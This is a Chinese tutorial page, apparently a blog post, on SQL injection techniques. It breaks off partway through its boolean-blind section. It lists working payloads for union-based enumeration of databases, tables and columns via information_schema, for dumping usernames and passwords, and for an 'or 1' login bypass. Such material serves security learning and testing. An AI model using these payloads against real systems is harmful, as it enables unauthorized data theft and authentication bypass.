网络安全攻防——SQL注入
网络安全意识:时刻警惕,防止被网络攻击 #生活常识# #职场技巧# #网络素养#
文章目录 0、常用查询 1、or+limit全局查询 2、联合查询基础 3、bool盲注与爆破 使用brup爆破 4、time盲注 5、利用updatexml()报错注入 6. 插入/更改注入 7. 删除注入 8.二次注入 9. 堆查询注入 10、一些函数总结 limit 详解: 11、总结与归纳0、常用查询
数据库名
# 查询所有数据库 ?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23 12
表名
# 查询某一个数据库的所有表 ?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库名' %23 # 用limit 来一个一个找 ?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23 # 直接用group_concat来找出所有表名,查询当前数据库 ?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 123456789
表结构
?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名' %23 1
某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x 。
数据全查询
?id=0' union select 1,group_concat(username),group_concat(password) from users %23 1
1、or+limit全局查询
or 1 可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容
?id=1' or 1 limit 0,1 %23 1
在post登录情景下,如果知道用户名admin,则可以用admin'# 来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 # ,也可以实现查询d' or 1 limit 0,1 # 。
2、联合查询基础
union之后是查询语句,查询的条数与数据库表的结构一致,所以需要通过order by准确判断出表有几栏。
当查到的内容会显示在页面的占位符中时,union之前取假值,可以用负数或者and 1=2 ,在登录情境下,可以用不正确的用户名,需要判断出每一栏在页面中显示的位置。 假如页面中我们查询的内容并不是显示占位中,那显示结果可能隐藏在页面中没有显示出来,如当输入错误时候,页面才会显示出错误提示,这时我们需要让union前面的条件为真。特别注意: 当查询字段是sql关键字时需要用单引号包裹。
3、bool盲注与爆破
问题:正确显示就显示固定字符,不正确不显示。
解决: 可以通过显示不显示来判断是否是正确的
查询数据库名
# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息 ?id=1
网址:网络安全攻防——SQL注入 https://www.yuejiaxmz.com/news/view/294697
相关内容
企业网络安全防护概述网络信息安全设计及防护策略总结
SqlMap自动化SQL注入测试工具简绍
网络安全危害有哪些?如何应对网络安全?
网络安全(黑客)自学
【网络安全】基础知识详解(非常详细)零基础入门到精通
网络安全与信息安全:防护之道与实践策略
服务器网络安全如何防护
[ 网络安全介绍 4 ] 生活中网络安全的众多威胁?
【网络安全】基础知识详解(非常详细)零基础入门到精通,收藏这一篇就够了